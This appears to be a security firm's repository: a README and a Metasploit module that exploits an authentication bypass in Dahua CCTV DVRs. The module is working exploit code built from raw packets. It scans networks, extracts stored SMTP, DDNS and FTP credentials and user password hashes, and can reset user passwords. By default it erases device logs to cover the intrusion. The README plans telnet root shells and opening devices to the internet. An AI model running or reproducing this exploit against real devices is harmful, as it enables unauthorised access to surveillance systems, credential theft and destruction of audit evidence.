├── README.md └── dahua_dvr_auth_bypass.rb /README.md: -------------------------------------------------------------------------------- 1 | dahua_dvr_auth_bypass 2 | ===================== 3 | 4 | Dahua CCTV DVR Authentication Bypass Metasploit Scanning Module 5 | 6 | This is a Metasploit module that scans for and exploits Dahua and Dahua rebranded CCTV DVRs. 7 | 8 | Installation: 9 | 10 | - git clone https://github.com/depthsecurity/dahua_dvr_auth_bypass.git 11 | - Copy dahua_dvr_auth_bypass.rb file to Metasploit modules directory 12 | (e.g. /root/.msf4/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb) 13 | 14 | Standard Functionality Includes: 15 | 16 | - It's a scanning module so obviously it can handle one or more IP addresses to identify DVRs on large networks 17 | - Retrieve version and serial number (Seems to only work on particular versions) 18 | - Retrieve email settings (SMTP server, destination address, SMTP credentials) 19 | - Retrieve DDNS settings (DDNS service, DDNS server, DDNS port, DDNS credentials) 20 | - Retrieve NAS settings (FTP server, FTP port, FTP credentials) 21 | - Retrieve camera channel names 22 | - Retrieve DVR users (usernames, hashed passwords, rights, and descriptions) 23 | - Retrieve DVR user groups 24 | 25 | Options Include: 26 | 27 | - Reset the password for particular user (may be version dependent) 28 | - Clear the DVR logs (may be version dependent) 29 | 30 | Future Functionality: 31 | 32 | - Check for telnet and utilize known default root password to gain telnet shell 33 | - Issue UPNP request to open telnet to public access, then get telnet shell 34 | - Check retrieved hashes for known default hash values (888888, 666666, admin, etc) 35 | - Identify DVR password hash mechanism for cracking in JTR 36 | - Stabalize across Dahua versions 37 | -------------------------------------------------------------------------------- /dahua_dvr_auth_bypass.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | class Metasploit3 < Msf::Auxiliary 3 | include Msf::Exploit::Remote::Tcp 4 | include Msf::Auxiliary::Scanner 5 | include Msf::Auxiliary::Report 6 | 7 | def initialize 8 | super( 9 | 'Name' => 'Dahua DVR Auth Bypas Scanner', 10 | 'Version' => '$Revision: 1 $', 11 | 'Description' => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs', 12 | 'Author' => 'Jake Reynolds - Depth Security', 13 | 'License' => MSF_LICENSE 14 | ) 15 | deregister_options('RHOST') 16 | register_options( 17 | [ 18 | OptString.new('USERNAME', [true, 'A username to reset', '888888']), 19 | OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), 20 | OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), 21 | OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), 22 | Opt::RPORT(37777) 23 | ], self.class) 24 | end 25 | 26 | def run_host(ip) 27 | usercount = 0 28 | u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 29 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 30 | dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00" 31 | version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + 32 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 33 | email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + 34 | "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 35 | ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + 36 | "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 37 | nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + 38 | "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 39 | channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 40 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 41 | "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + 42 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 43 | groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" + 44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 45 | users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" + 46 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 47 | sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" + 48 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 49 | clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" + 50 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 51 | clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" + 52 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 53 | user = "root" 54 | pass = " w" 55 | user8pwhash = "4WzwxXxM" #888888 56 | user6pwhash = "sh15yfFM" #666666 57 | useradminpwhash = "6QNMIQGe" #admin 58 | connect() 59 | sock.put(u1) 60 | data = sock.recv(8) 61 | disconnect() 62 | if data == dvr_resp 63 | print_good("DVR FOUND: @ #{rhost}:#{rport}!") 64 | report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "Dahua-based DVR") 65 | connect() 66 | sock.put(version) 67 | data = sock.get(1024) 68 | if data =~ /[\x00]{8,}([[:print:]]+)/ 69 | ver = $1 70 | print_status("Version: #{ver} @ #{rhost}:#{rport}!") 71 | end 72 | 73 | sock.put(sn) 74 | data = sock.get(1024) 75 | if data =~ /[\x00]{8,}([[:print:]]+)/ 76 | serial = $1 77 | print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") 78 | end 79 | 80 | sock.put(email) 81 | if data = sock.get(1024).split('&&') 82 | print_status("Email Settings: @ #{rhost}:#{rport}!") 83 | if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ 84 | if mailhost = $1.split(':') 85 | print_status(" Server: #{mailhost[0]}") if !mailhost[0].nil? 86 | print_status(" Destination Email: #{data[1]}") if !mailhost[1].nil? 87 | end 88 | if !data[5].nil? and !data[6].nil? 89 | print_good(" SMTP User: #{data[5]}") if !data[5].nil? 90 | print_good(" SMTP Password: #{data[6]}") if !data[6].nil? 91 | report_auth_info(:host => mailhost[0], :port => mailhost[1], :user => data[5], 92 | :pass => data[6], :type => "Mail", :active => true) if ( !mailhost[0].nil? and 93 | !mailhost[1].nil? and !data[5].nil? and !data[6].nil? ) 94 | end 95 | end 96 | end 97 | 98 | sock.put(ddns) 99 | if data = sock.get(1024) 100 | data = data.split(/&&[0-1]&&/) 101 | data.each_with_index { 102 | |val, index| 103 | if index > 0 104 | val = val.split("&&") 105 | print_status("DDNS Settings @ #{rhost}:#{rport}!:") 106 | print_status(" DDNS Service: #{val[0]}") if !val.nil? 107 | print_status(" DDNS Server: #{val[1]}") if !val.nil? 108 | print_status(" DDNS Port: #{val[2]}") if !val.nil? 109 | print_status(" Domain: #{val[3]}") if !val.nil? 110 | print_good(" Username: #{val[4]}") if !val.nil? 111 | print_good(" Password: #{val[5]}") if !val.nil? 112 | report_auth_info(:host => val[1], :port => val[2], :user => val[4], :pass => val[5], :type => "DDNS", 113 | :active => true) if ( !val[1].nil? and !val[2].nil? and !val[4].nil? and !val[5].nil? ) 114 | end 115 | 116 | } 117 | end 118 | 119 | sock.put(nas) 120 | if data = sock.get(1024) 121 | print_status("Nas Settings @ #{rhost}:#{rport}!:") 122 | server = '' 123 | port = '' 124 | if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ 125 | server = $1.unpack('C*').join('.') 126 | port = $2.unpack('S') 127 | print_status(" Nas Server #{server}") 128 | print_status(" Nas Port: #{port}") 129 | end 130 | if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ 131 | ftpuser = $1 132 | ftppass = $2 133 | print_good(" FTP User: #{ftpuser}") 134 | print_good(" FTP Password: #{ftppass}") 135 | #report_auth_info(:host => server, :port => port, :user => ftpuser, :pass => ftppass, :type => "FTP", 136 | #:active => true) if ( !server.nil? and !port.nil? and !ftpuser.nil? and !ftppass.nil? ) 137 | end 138 | end 139 | 140 | sock.put(channels) 141 | data = sock.get(1024).split('&&') 142 | disconnect() 143 | if (data.length > 1) 144 | print_status("Camera Channels @ #{rhost}:#{rport}!:") 145 | data.each_with_index { 146 | |val, index| 147 | print_status(" #{index+1}:#{val[/([[:print:]]+)/]}") 148 | } 149 | end 150 | connect() 151 | sock.put(users) 152 | if data = sock.get(1024).split('&&') 153 | print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") 154 | data.each { 155 | |val| 156 | usercount += 1 157 | print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") 158 | } 159 | end 160 | sock.put(groups) 161 | if data = sock.get(1024).split('&&') 162 | print_status("User Groups: @ #{rhost}:#{rport}!") 163 | data.each { 164 | |val| 165 | print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") 166 | } 167 | end 168 | if (datastore['RESET']) 169 | userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + 170 | ":" + datastore['PASSWORD'] 171 | u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + 172 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 173 | u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + 174 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 175 | u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" + 176 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 177 | userstring 178 | sock.put(u1) 179 | data = sock.get(1024) 180 | sock.put(u2) 181 | data = sock.get(1024) 182 | sock.put(u3) 183 | data = sock.get(1024) 184 | sock.put(u1) 185 | if data = sock.get(1024) 186 | print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") 187 | end 188 | # elsif (datastore['ACTION'] == "DELETE") 189 | # u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + 190 | # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 191 | # u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + 192 | # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 193 | # delete = "\xa6\x00\x00\x00#{datastore['USERNAME'].length.chr}\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" + 194 | # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 195 | # datastore['USERNAME'] 196 | # print delete 197 | # sock.send(u1, 0) 198 | # sock.get_once 199 | # sock.send(delete, 0) 200 | # sock.get_once 201 | # sock.send(u2, 0) 202 | # sock.get_once 203 | # 204 | # 205 | # elsif (datastore['ACTION'] == "ADD") 206 | # userstring = (usercount + 1).to_s + ":" + datastore['USERNAME'] + ":" + datastore['PASSWORD'] 207 | # userstring << "\x3a\x31\x3a\x31\x2c\x32\x2c\x33\x2c\x34\x2c\x35\x2c\x36\x2c\x37" + 208 | # "\x2c\x38\x2c\x39\x2c\x31\x30\x2c\x31\x31\x2c\x32\x30\x2c\x32\x31" + 209 | # "\x2c\x32\x32\x2c\x32\x33\x2c\x32\x34\x2c\x32\x35\x2c\x32\x36\x2c" + 210 | # "\x32\x37\x2c\x32\x38\x2c\x33\x37\x2c\x33\x38\x2c\x33\x39\x2c\x34" + 211 | # "\x30\x2c\x34\x32\x2c\x34\x33\x2c\x34\x34\x2c\x34\x35\x2c\x34\x36" + 212 | # "\x2c\x34\x37\x2c\x34\x38\x2c\x34\x39\x2c\x35\x30\x2c\x35\x31\x2c" + 213 | # "\x35\x32\x2c\x35\x33\x2c\x35\x34\x2c\x35\x35\x2c\x35\x36\x2c\x35" + 214 | # "\x37\x2c\x35\x38\x2c\x35\x39\x2c\x36\x30\x3a\x3a\x31" 215 | # 216 | # u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" + 217 | # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 218 | # u3 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + 219 | # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 220 | # u4 = "\xa6\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + 221 | # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 222 | # u5 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00" + 223 | # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 224 | # userstring 225 | # sock.put(u1) 226 | # sock.get(1024) 227 | # sock.put(u1) 228 | # sock.get(1024) 229 | # sock.put(u2) 230 | # sock.get(1024) 231 | # sock.put(u3) 232 | # sock.get(1024) 233 | # sock.put(u2) 234 | # sock.get(1024) 235 | # sock.put(u3) 236 | # sock.get(1024) 237 | # sock.put(u4) 238 | # sock.get(1024) 239 | # sock.put(groups) 240 | # sock.get(1024) 241 | # sock.put(users) 242 | # sock.get(1024) 243 | # sock.put(u5) 244 | # sock.get(1024) 245 | # sock.put(u2) 246 | # sock.get(1024) 247 | # sock.put(u3) 248 | # sock.get(1024) 249 | # sock.put(u4) 250 | # sock.put(1024) 251 | # sock.put(groups) 252 | # sock.get(1024) 253 | # sock.put(users) 254 | # sock.put(1024) 255 | # print_good("ADDED USER!: user #{datastore['USERNAME']}'s password is #{datastore['PASSWORD']}") 256 | # 257 | # else 258 | end 259 | 260 | 261 | if (datastore['CLEAR_LOGS']) 262 | sock.put(clear_logs) 263 | sock.put(clear_logs2) 264 | print_good("LOGS CLEARED! @ #{rhost}:#{rport}") 265 | end 266 | disconnect() 267 | end 268 | end 269 | 270 | end 271 | --------------------------------------------------------------------------------